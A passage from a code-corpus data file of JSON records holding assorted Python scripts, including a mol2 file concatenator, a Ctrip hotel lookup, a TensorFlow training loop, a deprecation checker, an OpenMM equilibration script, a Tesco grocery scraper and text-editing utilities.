ff.write(re.sub(\"::\\d+::\",\"\",line))\n","sub_path":"blog/post/plsdonthaq.me/shuffle_solver.py","file_name":"shuffle_solver.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"10336609","text":"#coding: UTF-8\r\nimport\tsys\r\nimport\tmath\r\nimport os\r\nimport re\r\n\r\n####\r\n## Usage mol2concat.py inputFolderName outputFileName\r\n####\r\n\r\ninputFolderName = sys.argv[1]\r\noutputFileName = sys.argv[2]\r\nfw = open(outputFileName, \"w\")\r\n\r\n\r\ncurrentDir = os.getcwd()\r\nlist = os.listdir(inputFolderName)\r\nfor aFile in list:\r\n\tif re.search(r'mol2$', aFile):\r\n\t\tligandName = aFile.split('.')[0]\r\n\r\n\t\tfr = open(inputFolderName+\"/\"+aFile, \"r\")\r\n\t\tdata = fr.read().split(\"\\n\")\r\n\t\t\r\n\t\tmoleculeNameFlag = 0\r\n\t\tfor str in data:\r\n\t\t\tif moleculeNameFlag:\r\n\t\t\t\tfw.write(ligandName+\"\\n\")\r\n\t\t\t\tmoleculeNameFlag = 0\r\n\t\t\telif re.search(r'TRIPOS>MOLECULE', str):\r\n\t\t\t\tfw.write(str+\"\\n\")\r\n\t\t\t\tmoleculeNameFlag = 1\r\n\t\t\telse:\r\n\t\t\t\tfw.write(str+\"\\n\")\r\n\r\nfw.close()","sub_path":"lab-Script/src/mol2concat.py","file_name":"mol2concat.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"136136204","text":"#!/usr/bin/env python3\n#-*- coding:utf-8 -*-\n\nfrom hoteldb import hoteldb\nfrom urllib.request import urlopen\nfrom urllib.parse import quote\nimport json\nfrom ssutil import ssutil\n\nclass ctriphotel:\n def __init__(self, name, data):\n self.name = name\n self.data = data\n\n #返回价格, 0为没有数据\n def find_price(self, day):\n return self.data.find(day)\n\n def set_price(self, day, price):\n data = self.data\n if data:\n if data.find(day) > 0:\n data.modify(day, price)\n else:\n data.add(day, price)\n \n #根据hotel名称, 返回信息\n #['url'] = url\n #['city'] = city\n @staticmethod\n def info(name):\n info = {}\n url = \"http://m.ctrip.com/restapi/h5api/searchapp/search?action=autocomplete&source=globalonline&keyword=%s\" % quote(name)\n #print(url)\n content = urlopen(url).read()\n if content == None:\n ssutil.error('content not found')\n\n json_data = json.loads(content.decode(\"utf-8\"))\n #print(json_data)\n\n hotel_list = None;\n try:\n hotel_list = json_data['data']\n except:\n ssutil.error(\"--no 'data' for url: \" + url)\n\n for hotel in hotel_list:\n try:\n if hotel['word'] == name and hotel['type'] == 'hotel':\n #print(hotel)\n try:\n info['url'] = hotel['url']\n info['city'] = hotel['districtname']\n except:\n ssutil.error(\"--no 'url/districtname' for json: \" + hotel)\n break\n except:\n ssutil.error(\"--no 'word' for json: \" + hotel)\n\n return info\n","sub_path":"ctriphotel.py","file_name":"ctriphotel.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"533812676","text":"import numpy as np\nimport os\nimport ml.common.log_util as log_util\nimport ml.common.util as util\n\nclass Supervised(object):\n def __init__(self, x, y, optimizer, loss, acc, log,\n train_phase=None):\n self.x = x\n self.y = y\n self.train_phase = train_phase\n self.train_op = optimizer.minimize(loss)\n self.loss = loss\n self.acc = acc\n self.log = log\n \n def step(self, sess, x, y):\n feed_dict = {self.x: x, self.y: y}\n if self.train_phase is not None:\n feed_dict[self.train_phase] = True\n _, loss, acc, log = sess.run([self.train_op, self.loss,\n self.acc, self.log],\n feed_dict=feed_dict)\n return loss, acc, log\n\n def loss_acc(self, sess, x, y):\n feed_dict = {self.x: x, self.y: y}\n if self.train_phase is not None:\n feed_dict[self.train_phase] = False\n loss, acc, log = sess.run([self.loss, self.acc, self.log],\n feed_dict=feed_dict)\n return loss, acc, log\n\n def train(self, sess, X_train, Y_train, X_val, Y_val, num_epochs,\n batch_size, checkpoint_path, logs_path):\n train_writer = log_util.summary_writer(logs_path + '/train', sess.graph)\n val_writer = log_util.summary_writer(logs_path + '/val', sess.graph)\n saver = log_util.saver()\n util.init_sess(sess)\n util.restore(saver, sess, checkpoint_path)\n N = len(X_train)\n curr_step = 0\n num_batches = int(np.ceil(N / batch_size))\n for epoch in range(num_epochs):\n indices = np.random.permutation(N)\n for batch in range(num_batches):\n start = batch * batch_size\n end = min(N, start + batch_size)\n idx = indices[start:end]\n loss, acc, log = self.step(sess, X_train[idx], Y_train[idx])\n if curr_step % 10 == 0:\n print('-' * 35)\n print('Step {}'.format(curr_step))\n print('{} Loss: {:.4f}, Acc: {:.4f}'.format('Train', loss, acc))\n train_writer.add_summary(log, curr_step)\n loss, acc, log = self.loss_acc(sess, X_val, Y_val)\n print('{} Loss: {:.4f}, Acc: {:.4f}'.format('Val', loss, acc))\n val_writer.add_summary(log, curr_step)\n saver.save(sess, checkpoint_path)\n curr_step += 1\n","sub_path":"train/supervised.py","file_name":"supervised.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"21007580","text":"import beniget\nimport sys\nimport gast as ast\nimport os\nimport warnings\nfrom collections import defaultdict\nfrom memestra.caching import Cache, CacheKey, Format\n\n_defs = ast.AsyncFunctionDef, ast.ClassDef, ast.FunctionDef\n\n\n# FIXME: this only handles module name not subpackages\ndef resolve_module(module_name):\n module_path = module_name + \".py\"\n for base in sys.path:\n fullpath = os.path.join(base, module_path)\n if os.path.exists(fullpath):\n return fullpath\n return\n\n\n# FIXME: this is not recursive, but should be\nclass ImportResolver(ast.NodeVisitor):\n\n def __init__(self, decorator):\n self.deprecated = None\n self.decorator = tuple(decorator)\n self.cache = Cache()\n\n def load_deprecated_from_module(self, module_name):\n module_path = resolve_module(module_name)\n\n if module_path is None:\n return None\n\n module_key = CacheKey(module_path)\n\n if module_key in self.cache:\n data = self.cache[module_key]\n if data['version'] == Format.version:\n return set(data['deprecated'])\n elif data['generator'] == 'manual':\n warnings.warn(\n (\"skipping module {} because it has an obsolete, \"\n \"manually generated, cache file: {}\")\n .format(module_name,\n module_key.module_hash))\n return []\n\n with open(module_path) as fd:\n module = ast.parse(fd.read())\n duc = beniget.DefUseChains()\n duc.visit(module)\n anc = beniget.Ancestors()\n anc.visit(module)\n\n deprecated = self.collect_deprecated(module, duc, anc)\n dl = {d.name for d in deprecated}\n data = {'generator': 'memestra',\n 'deprecated': sorted(dl)}\n self.cache[module_key] = data\n return dl\n\n def visit_Import(self, node):\n for alias in node.names:\n deprecated = self.load_deprecated_from_module(alias.name)\n if deprecated is None:\n continue\n\n for user in self.def_use_chains.chains[alias].users():\n parent = self.ancestors.parents(user.node)[-1]\n if isinstance(parent, ast.Attribute):\n if parent.attr in deprecated:\n self.deprecated.add(parent)\n\n # FIXME: handle relative imports\n def visit_ImportFrom(self, node):\n deprecated = self.load_deprecated_from_module(node.module)\n if deprecated is None:\n return\n\n aliases = [alias.name for alias in node.names]\n\n for deprec in deprecated:\n try:\n index = aliases.index(deprec)\n alias = node.names[index]\n for user in self.def_use_chains.chains[alias].users():\n self.deprecated.add(user.node)\n except ValueError:\n continue\n\n def visit_Module(self, node):\n duc = beniget.DefUseChains()\n duc.visit(node)\n self.def_use_chains = duc\n\n ancestors = beniget.Ancestors()\n ancestors.visit(node)\n self.ancestors = ancestors\n\n self.deprecated = self.collect_deprecated(node, duc, ancestors)\n self.generic_visit(node)\n\n def collect_deprecated(self, node, duc, ancestors):\n\n deprecated = set()\n\n for dlocal in duc.locals[node]:\n dnode = dlocal.node\n if not isinstance(dnode, ast.alias):\n continue\n\n original_path = tuple(dnode.name.split('.'))\n nbterms = len(original_path)\n\n if original_path == self.decorator[:nbterms]:\n for user in dlocal.users():\n parents = list(ancestors.parents(user.node))\n attrs = list(reversed(self.decorator[nbterms:]))\n while attrs and parents:\n attr = attrs[-1]\n parent = parents.pop()\n if not isinstance(parent, (ast.Attribute)):\n break\n if parent.attr != attr:\n break\n attrs.pop()\n\n # path parsing fails if some attr left\n if attrs:\n continue\n\n # Only handle decorators attached to a def\n if not isinstance(parents[-1], _defs):\n continue\n deprecated.add(parents[-1])\n\n elif original_path == self.decorator[-1:]:\n parent = ancestors.parents(dlocal.node)[-1]\n if not isinstance(parent, ast.ImportFrom):\n continue\n if parent.module != '.'.join(self.decorator[:-1]):\n continue\n for user in dlocal.users():\n parent = ancestors.parents(user.node)[-1]\n if not isinstance(parent, _defs):\n continue\n deprecated.add(parent)\n\n return deprecated\n\n\ndef prettyname(node):\n if isinstance(node, _defs):\n return node.name\n if isinstance(node, ast.Name):\n return node.id\n if isinstance(node, ast.Attribute):\n return prettyname(node.value) + '.' + node.attr\n return repr(node)\n\n\ndef memestra(file_descriptor, decorator):\n '''\n Parse `file_descriptor` and returns a list of\n (function, filename, line, colno) tuples. Each elements\n represents a code location where a deprecated function is used.\n A deprecated function is a function flagged by `decorator`, where\n `decorator` is a tuple representing an import path,\n e.g. (module, attribute)\n '''\n\n assert len(decorator) > 1, \"decorator is at least (module, attribute)\"\n\n module = ast.parse(file_descriptor.read())\n\n # Collect deprecated functions\n resolver = ImportResolver(decorator)\n resolver.visit(module)\n\n ancestors = resolver.ancestors\n duc = resolver.def_use_chains\n\n # Find their users\n deprecate_uses = []\n for deprecated_node in resolver.deprecated:\n for user in duc.chains[deprecated_node].users():\n user_ancestors = (n\n for n in ancestors.parents(user.node)\n if isinstance(n, _defs))\n if any(f in resolver.deprecated for f in user_ancestors):\n continue\n\n deprecate_uses.append((prettyname(deprecated_node),\n getattr(file_descriptor, 'name', '<>'),\n user.node.lineno,\n user.node.col_offset))\n\n deprecate_uses.sort()\n return deprecate_uses\n\n\ndef run():\n\n import argparse\n from pkg_resources import iter_entry_points\n\n parser = argparse.ArgumentParser(description='Check decorator usage.')\n parser.add_argument('--decorator', dest='decorator',\n default='decorator.deprecated',\n help='Path to the decorator to check')\n parser.add_argument('input', type=argparse.FileType('r'),\n help='file to scan')\n\n dispatcher = defaultdict(lambda: memestra)\n for entry_point in iter_entry_points(group='memestra.plugins', name=None):\n entry_point.load()(dispatcher)\n\n args = parser.parse_args()\n\n _, extension = os.path.splitext(args.input.name)\n\n deprecate_uses = dispatcher[extension](args.input,\n args.decorator.split('.'))\n\n for fname, fd, lineno, colno in deprecate_uses:\n print(\"{} used at {}:{}:{}\".format(fname, fd, lineno, colno + 1))\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"memestra/memestra.py","file_name":"memestra.py","file_ext":"py","file_size_in_byte":7775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"454531027","text":"import requests\nimport datetime\n\nfrom bot.config import TIMEZONEDB_TOKEN\n\n\ndef get_timezone_by_coords(longitude, latitude):\n url = \"https://api.timezonedb.com/v2.1/get-time-zone\"\n params = {\n \"key\": TIMEZONEDB_TOKEN,\n \"format\": \"json\",\n \"fields\": \"gmtOffset,zoneName\",\n \"by\": \"position\",\n \"lat\": latitude,\n \"lng\": longitude\n }\n try:\n response = requests.get(url, params=params)\n return response.json()\n except requests.RequestException:\n return\n\n\ndef parse_timezone(timezone):\n return datetime.timezone(datetime.timedelta(seconds=timezone.get('gmtOffset'))), timezone.get('zoneName')\n","sub_path":"bot/utils/timezone.py","file_name":"timezone.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"387957960","text":"class Combination:\n def __init__(self, n_max=10**6, mod=10**9+7):\n # self._n_max = n_max\n self._fac, self._finv, self._inv = [0]*n_max, [0]*n_max, [0]*n_max\n self._fac[0], self._fac[1] = 1, 1\n self._finv[0], self._finv[1] = 1, 1\n self._inv[1] = 1\n self._mod = mod\n for i in range(2, n_max):\n self._fac[i] = self._fac[i - 1] * i % self._mod\n self._inv[i] = self._mod - self._inv[self._mod%i] * (self._mod // i) % self._mod\n self._finv[i] = self._finv[i - 1] * self._inv[i] % self._mod\n def com(self, n, r):\n if n < r: return 0\n if n < 0 or r < 0: return 0\n return self._fac[n] * (self._finv[r] * self._finv[n - r] % self._mod) % self._mod\n\n def perm(self,n,r):\n if n < r: return 0\n if n < 0 or r < 0: return 0\n return self._fac[n] * (self._finv[n-r] % self._mod) % self._mod\n\nMOD = 10**9+7\ncomb = Combination(10**4, MOD)\n# comb.com(10,3)\n\nr,c = map(int, input().split())\nx,y = map(int, input().split())\nd,l = map(int, input().split())\nxy = x*y\ndl = d+l\n\nx_pattern = r-x+1\ny_pattern = c-y+1\nxy_comb = x_pattern*y_pattern\n\nif xy == dl:\n xy_dl = 1\nelse:\n one = comb.com(xy-x,dl)*2 + comb.com(xy-y,dl)*2\n two = comb.com(xy-x-y+1,dl)*4 + comb.com(xy-2*x,dl) + comb.com(xy-2*y,dl)\n three = comb.com(xy-2*x-y+2,dl)*2 + comb.com(xy-x-2*y+2,dl)*2\n four = comb.com(xy-2*x-2*y+4, dl)\n not_xy_dl = one - two + three - four\n xy_dl = comb.com(xy, dl) - not_xy_dl\n xy_dl%=MOD\n\nans = xy_comb * xy_dl * comb.com(dl, d)\nprint(ans%MOD)","sub_path":"2_kakomon/abc001-041/abc003_4.py","file_name":"abc003_4.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"184136998","text":"from PIL import Image\r\nimport math\r\n\r\ndef calculate_diagonal(x,y):\r\n x_squared = (x ** 2)\r\n y_squared = (y ** 2)\r\n combined = x_squared + y_squared\r\n return round(math.sqrt(combined), 0) - 2\r\n\r\ndef get_maximum_msg_length(file):\r\n im = Image.open(file)\r\n width, height = im.size\r\n result = calculate_diagonal(width, height)\r\n im.close()\r\n return int(result)\r\n","sub_path":"max_msg_length.py","file_name":"max_msg_length.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"200093238","text":"\"\"\"\nнаписать программу, которая определяет, будет ли\nположительное целое число степенью четверки.\n\"\"\"\n\n\ndef main():\n with open('input.txt') as file:\n a = int(file.read().strip())\n if a == 1:\n return True\n num = 4\n while num <= a:\n if num == a:\n return True\n num *= 4\n return False\n\n\nif __name__ == '__main__':\n print(main())\n","sub_path":"theory/12th_sprint_algorithms/I.py","file_name":"I.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"559046641","text":"import numpy as np\nimport os, sys\nimport math\n#import openmm\nimport simtk.openmm as mm\nfrom simtk.openmm import app\nfrom simtk.openmm.app import *\nfrom simtk.openmm import Platform\nfrom simtk.unit import *\n#from simtk.openmm import XmlSerializer\nfrom sys import stdout\n\n#md_platform = 'OpenCL'\n\n#--------------MINIMIZATION------------------------\nMIN_TIME_STEP = 0.5 * femtoseconds\nMIN_STEPS = 0 # 0=Until convergence is reached\nMIN_TOLERANCE = 10.0 * kilojoule_per_mole\nMIN_FRICTION = 1.0 / picoseconds\n\n#-------------------------- 100ps NVT -----------------------\nNVT_TIME_STEP = 1.0 * femtoseconds\nNVT_STEPS = 100000\nNVT_FRICTION = 1.0 / picoseconds\n\n\n#-------------------------- 100ps NPT1 -----------------------\nNPT1_TIME_STEP = 2.0 * femtoseconds\nNPT1_STEPS = 50000\nNPT_FRICTION = 1.0 / picoseconds\nBAROSTAT_FREQUENCY = 25\n\n#-------------------------- 100ns NPT2 -----------------------\nNPT2_TIME_STEP = 2.0 * femtoseconds\nNPT2_STEPS = 500\n\n#------------GENERAL PARAMETERS--------------\nPRESSURE = 1.0 * atmospheres\nTEMPERATURE = 298.15 * kelvin\n\n\ndef minimization(system, prmtop, inpcrd):\n # Select Integrator\n integrator = mm.LangevinIntegrator( TEMPERATURE, MIN_FRICTION, MIN_TIME_STEP )\n # Set the simulation\n simulation = app.Simulation( prmtop.topology, system, integrator)\n # Set positions\n simulation.context.setPositions( inpcrd.positions )\n # Energy minimize before doing any dynamics\n print('Minimizing...\\n')\n simulation.minimizeEnergy( tolerance = MIN_TOLERANCE, maxIterations = MIN_STEPS )\n # Get and return coordinates\n state = simulation.context.getState( getPositions = True )\n coordinates = state.getPositions()\n return coordinates\n\n\ndef NVT(system, coords, prmtop):\n # Select Integrator\n integrator = mm.LangevinIntegrator(TEMPERATURE, NVT_FRICTION, NVT_TIME_STEP)\n # Set Simulation\n simulation = app.Simulation( prmtop.topology, system, integrator)\n # Set Position and velocities\n simulation.context.setPositions( coords )\n simulation.context.setVelocitiesToTemperature( TEMPERATURE )\n print('100ps NVT...\\n')\n simulation.step(NVT_STEPS)\n # Get and return coordinates and velocities\n state = simulation.context.getState( getPositions=True, getVelocities=True )\n coords = state.getPositions()\n velocities = state.getVelocities()\n return coords, velocities\n\n\ndef NPT1(system, coordinates, velocities, prmtop):\n # Select Integrator\n integrator = mm.LangevinIntegrator( TEMPERATURE, NPT_FRICTION, NPT1_TIME_STEP )\n # Set Barostat\n system.addForce( mm.MonteCarloBarostat( PRESSURE, TEMPERATURE, BAROSTAT_FREQUENCY ) )\n # Set Simulation\n simulation = app.Simulation( prmtop.topology, system, integrator)\n # Set Position and velocities\n simulation.context.setPositions( coordinates )\n simulation.context.setVelocities( velocities )\n print('First NPT equilibration...\\n')\n simulation.step(NPT1_STEPS)\n # Get and return coordinates, velocities and box vectors\n state = simulation.context.getState( getPositions=True, getVelocities=True, getEnergy=True )\n coords = state.getPositions()\n velocities = state.getVelocities()\n box = state.getPeriodicBoxVectors()\n\n # Save a PDB to use as input for yank and future splitting\n #positions = state.getPositions()\n #PDBFile.writeFile( simulation.topology, positions, open( pdbfile, 'w' ) )\n\n return coords, velocities, box\n\ndef npt2( system, coordinates, velocities, box, prmtop, pdbfile):\n # Select Integrator\n integrator = mm.LangevinIntegrator(TEMPERATURE, NPT_FRICTION, NPT2_TIME_STEP)\n # Set Barostat\n system.addForce(mm.MonteCarloBarostat(PRESSURE, TEMPERATURE, BAROSTAT_FREQUENCY))\n # Set Simulation\n simulation = app.Simulation(prmtop.topology, system, integrator)\n # Set Position and velocities\n simulation.context.setPositions(coordinates)\n if velocities is not None:\n simulation.context.setVelocities(velocities)\n else: #reset\n simulation.context.setVelocitiesToTemperature(TEMPERATURE)\n # Set Box\n simulation.context.setPeriodicBoxVectors(box[0], box[1], box[2])\n\n print('Second NPT equilibration...\\n')\n\n simulation.step(NPT2_STEPS)\n state = simulation.context.getState(getPositions=True, getVelocities=True,\n getForces=True, getEnergy=True,\n enforcePeriodicBox=True)\n\n # Save a PDB to use as input for yank and future splitting\n positions = state.getPositions()\n PDBFile.writeFile(simulation.topology, positions, open(pdbfile, 'w'))\n\n return state\n","sub_path":"dry_octanol_GAFF_tip3p/extra_equilibration/equilibration/2/equil2.py","file_name":"equil2.py","file_ext":"py","file_size_in_byte":4612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"415133089","text":"# -*- coding: utf-8 -*-\n\nimport requests\nimport re\nfrom bs4 import BeautifulSoup\nimport csv\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import Select\nfrom bs4 import BeautifulSoup\n\ndef multiple_white_signs_cleaner(dirty):\n\tdirty = re.sub(\"\\s\\s+\",\" \",dirty.strip())\n\treturn re.sub(\"\\n\", \"\",dirty)\n\ndef Tesco_Indexing_Crawler():\n\twith open(\"Tesco_kategorie2.txt\", \"w\") as TescoFile:\n\t\turl = \"https://ezakupy.tesco.pl/groceries/pl-PL/\"\n\t\tdriver = webdriver.Chrome()\n\t\tdriver.implicitly_wait(30)\n\t\tdriver.get(url)\n\t\tTescoFile.write(\"Główna kategoria^Podkategoria^Dział^Link\\n\")\n\t\tmenu_items_super = driver.find_elements_by_tag_name(\"ul\")[2]\n\t\tfor menu_item_super in menu_items_super.find_elements_by_tag_name(\"li\")[1:-3]:\n\t\t\tmenu_item_super.click()\n\t\t\tsuper_department = menu_item_super.find_element_by_tag_name(\"a\").text.split(\"\\n\")[1]\n\t\t\tmenus_department = driver.find_elements_by_tag_name(\"ul\")\n\t\t\tfor menu_department in menus_department:\n\t\t\t\tif menu_department.get_attribute(\"class\") == \"menu menu-department\":\n\t\t\t\t\tfor menu_item in menu_department.find_elements_by_tag_name(\"li\"):\n\t\t\t\t\t\tif menu_item.find_element_by_tag_name(\"a\").get_attribute(\"class\") == \"menu__link menu__link--department\":\n\t\t\t\t\t\t\tmenu_item.click()\n\t\t\t\t\t\t\tsub_department = menu_item.find_element_by_tag_name(\"a\").text.split(\"\\n\")[1]\n\t\t\t\t\t\t\tsubmenu = driver.find_elements_by_tag_name(\"ul\")\n\t\t\t\t\t\t\tfor submenu_item in submenu:\n\t\t\t\t\t\t\t\tif submenu_item.get_attribute(\"class\") == \"menu menu-aisle\":\n\t\t\t\t\t\t\t\t\tfor submenu_aisle_item in submenu_item.find_elements_by_tag_name(\"li\"):\n\t\t\t\t\t\t\t\t\t\tdepartment = submenu_aisle_item.find_element_by_tag_name(\"a\").text.split(\"\\n\")\n\t\t\t\t\t\t\t\t\t\tif len(department) == 3:\n\t\t\t\t\t\t\t\t\t\t\tdepartment = department[1]\n\t\t\t\t\t\t\t\t\t\t\taisle_link = submenu_aisle_item.find_element_by_tag_name(\"a\").get_attribute(\"href\")\n\t\t\t\t\t\t\t\t\t\t\tTescoFile.write(super_department + \"^\")\n\t\t\t\t\t\t\t\t\t\t\tTescoFile.write(sub_department + \"^\")\n\t\t\t\t\t\t\t\t\t\t\tTescoFile.write(department + \"^\")\n\t\t\t\t\t\t\t\t\t\t\tTescoFile.write(aisle_link + \"\\n\")\n\t\t\t\t\t\t\t\t\t\t\tTescoFile.write(\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\tTescoFile.flush()\n\t\tTescoFile.close()\n\n\ndef Tesco_Departments_Crawler():\n\tsuper_department_list = []\n\tsub_department_list = []\n\tdepartment_list = []\n\tdepartment_links = []\n\twith open(\"Tesco_kategorie2.txt\", \"r\") as TescoDepFile:\n\t\tdataset = TescoDepFile.readlines()\n\t\tfor line in dataset[1:]:\n\t\t\tline = line.split(\"^\")\n\t\t\tsuper_department_list.append(line[0])\n\t\t\tsub_department_list.append(line[1])\n\t\t\tdepartment_list.append(line[2])\n\t\t\tdepartment_links.append(line[3])\n\tTescoDepFile.close()\n\twith open(\"Tesco_products.txt\", \"w\") as TescoProdFile:\n\t\tTescoProdFile.write(\"super_department^sub_department^department^product_name^product_ID^product_value^product_currency^product_weight_value^product_weight_unit^product_sale^product_sale_percent\\n\")\n\t\tindex = 0\n\t\tfor link in department_links:\n\t\t\tlink = multiple_white_signs_cleaner(link)\n\t\t\tsuper_department = super_department_list[index]\n\t\t\tsub_department = sub_department_list[index]\n\t\t\tdepartment = department_list[index]\n\t\t\tpage_nav = 1\n\t\t\twhile True:\n\t\t\t\tpage_link = f\"{link}&page={page_nav}\"\n\t\t\t\tpage = requests.get(page_link)\n\t\t\t\tpage.encoding = \"utf-8\"\n\t\t\t\tsoup = BeautifulSoup(page.content, 'html.parser')\n\t\t\t\tproducts = soup.find(\"ul\", {\"class\":\"product-list grid\"})\n\t\t\t\tif products is None:\n\t\t\t\t\tbreak\n\t\t\t\tproducts = products.find_all(\"div\", {\"class\":\"product-tile--wrapper\"})\n\t\t\t\t# print(department)\n\t\t\t\t# print(page_nav)\n\t\t\t\tfor product in products:\n\t\t\t\t\tproduct_header = product.find(\"div\", {\"class\":\"product-details--content\"})\n\t\t\t\t\tproduct_name = product_header.a.text\n\t\t\t\t\tproduct_link = \"https://ezakupy.tesco.pl\" + product_header.a.get(\"href\")\n\t\t\t\t\tproduct_ID = re.search(\"(\\d+)\", product_link)[0]\n\t\t\t\t\tproduct_weight_div = product.find(\"div\", {\"class\":\"price-per-quantity-weight\"})\n\t\t\t\t\tproduct_value_div = product.find(\"div\", {\"class\":\"price-control-wrapper\"})\n\t\t\t\t\tproduct_value = product_value_div.find(\"span\",{\"class\":\"value\"}).text\n\t\t\t\t\tproduct_weight_value = product_weight_div.find(\"span\", {\"class\":\"value\"}).text\n\t\t\t\t\tproduct_weight_unit = product_weight_div.find(\"span\", {\"class\":\"weight\"}).text[1:]\n\t\t\t\t\tproduct_currency = product_weight_div.find(\"span\", {\"class\":\"currency\"}).text\n\t\t\t\t\tif product.find(\"div\", {\"class\":\"yellow-square\"}):\n\t\t\t\t\t\tproduct_sale = True\n\t\t\t\t\telse:\n\t\t\t\t\t\tproduct_sale = False\n\t\t\t\t\tif product_sale == True:\n\t\t\t\t\t\tproduct_sale_percent = re.search(\"(\\d+%)\", product.find(\"span\", {\"class\":\"offer-text\"}).text)[0]\n\t\t\t\t\telse:\n\t\t\t\t\t\tproduct_sale_percent = False\n\t\t\t\t\tproduct_info = [super_department, sub_department, department, product_name, product_ID, product_value, product_currency, product_weight_value, product_weight_unit, product_sale, product_sale_percent]\n\t\t\t\t\tprint(product_info)\n\t\t\t\t\tfor item in product_info:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tTescoProdFile.write(\"%s^\" % item)\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tTescoProdFile.write(\"%s^\" % \"ERROR\")\n\t\t\t\t\tTescoProdFile.write(\"\\n\")\n\t\t\t\tpage_nav += 1\n\t\t\tindex += 1\n\nif __name__ == '__main__':\n\tTesco_Departments_Crawler()\n","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":5061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"68960242","text":"from django.conf.urls import include\nfrom django.urls import path\nfrom sys5704.user_log import login_views\n\nurlpatterns = [\n path('assets/', include('sys5704.assets.urls')),\n path('members/', include('sys5704.member_info.urls')),\n path('users/', include('sys5704.my_msg.urls')),\n path('', login_views.do_login),\n path('login',login_views.login_handle)\n]","sub_path":"sys5704/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"86207267","text":"\nimport base64\n\nNOTHING = base64\n\nSTRINGIFY_MAXSTRING = 80\nSTRINGIFY_MAXLISTSTRING = 20\n\n\n# MODE_LOCAL = \"MODE_LOCAL\"\n# MODE_SUDO = \"MODE_SUDO\"\n\n# SUDO_PASSWORD = \"CUISINE_SUDO_PASSWORD\"\n# OPTION_PACKAGE = \"CUISINE_OPTION_PACKAGE\"\n# OPTION_PYTHON_PACKAGE = \"CUISINE_OPTION_PYTHON_PACKAGE\"\n# OPTION_OS_FLAVOUR = \"CUISINE_OPTION_OS_FLAVOUR\"\n# OPTION_USER = \"CUISINE_OPTION_USER\"\n# OPTION_GROUP = \"CUISINE_OPTION_GROUP\"\n# OPTION_HASH = \"CUISINE_OPTION_HASH\"\n\n\ndef stringify(value):\n \"\"\"Turns the given value in a user-friendly string that can be displayed\"\"\"\n if isinstance(value, (str, bytes)) and len(value) > STRINGIFY_MAXSTRING:\n return '{0}...'.format(value[0:STRINGIFY_MAXSTRING])\n\n if isinstance(value, (list, tuple)) and len(value) > 10:\n return '[{0},...]'.format(', '.join([stringify(_) for _ in value[0:STRINGIFY_MAXLISTSTRING]]))\n return str(value)\n\n\ndef text_detect_eol(text):\n MAC_EOL = \"\\n\"\n UNIX_EOL = \"\\n\"\n WINDOWS_EOL = \"\\r\\n\"\n\n # TODO: Should look at the first line\n if text.find(\"\\r\\n\") != -1:\n return WINDOWS_EOL\n if text.find(\"\\n\") != -1:\n return UNIX_EOL\n if text.find(\"\\r\") != -1:\n return MAC_EOL\n return \"\\n\"\n\n\ndef text_get_line(text, predicate):\n \"\"\"Returns the first line that matches the given predicate.\"\"\"\n for line in text.split(\"\\n\"):\n if predicate(line):\n return line\n return \"\"\n\n\ndef text_normalize(text):\n \"\"\"Converts tabs and spaces to single space and strips the text.\"\"\"\n RE_SPACES = re.compile(\"[\\s\\t]+\")\n return RE_SPACES.sub(\" \", text).strip()\n\n\ndef text_nospace(text):\n \"\"\"Converts tabs and spaces to single space and strips the text.\"\"\"\n RE_SPACES = re.compile(\"[\\s\\t]+\")\n return RE_SPACES.sub(\"\", text).strip()\n\n\ndef text_replace_line(text, old, new, find=lambda old, new: old == new, process=lambda _: _):\n \"\"\"Replaces lines equal to 'old' with 'new', returning the new\n text and the count of replacements.\n\n Returns: (text, number of lines replaced)\n\n `process` is a function that will pre-process each line (you can think of\n it as a normalization function, by default it will return the string as-is),\n and `find` is the function that will compare the current line to the\n `old` line.\n\n The finds the line using `find(process(current_line), process(old_line))`,\n and if this matches, will insert the new line instead.\n \"\"\"\n res = []\n replaced = 0\n eol = text_detect_eol(text)\n for line in text.split(eol):\n if find(process(line), process(old)):\n res.append(new)\n replaced += 1\n else:\n res.append(line)\n return eol.join(res), replaced\n\n\ndef text_replace_regex(text, regex, new, **kwargs):\n \"\"\"Replace lines that match with the regex returning the new text\n\n Returns: text\n\n `kwargs` is for the compatibility with re.sub(),\n then we can use flags=re.IGNORECASE there for example.\n \"\"\"\n res = []\n eol = text_detect_eol(text)\n for line in text.split(eol):\n res.append(re.sub(regex, new, line, **kwargs))\n return eol.join(res)\n\n\ndef text_ensure_line(text, *lines):\n \"\"\"Ensures that the given lines are present in the given text,\n otherwise appends the lines that are not already in the text at\n the end of it.\"\"\"\n eol = text_detect_eol(text)\n res = list(text.split(eol))\n if res[0] == '' and len(res) == 1:\n res = list()\n for line in lines:\n 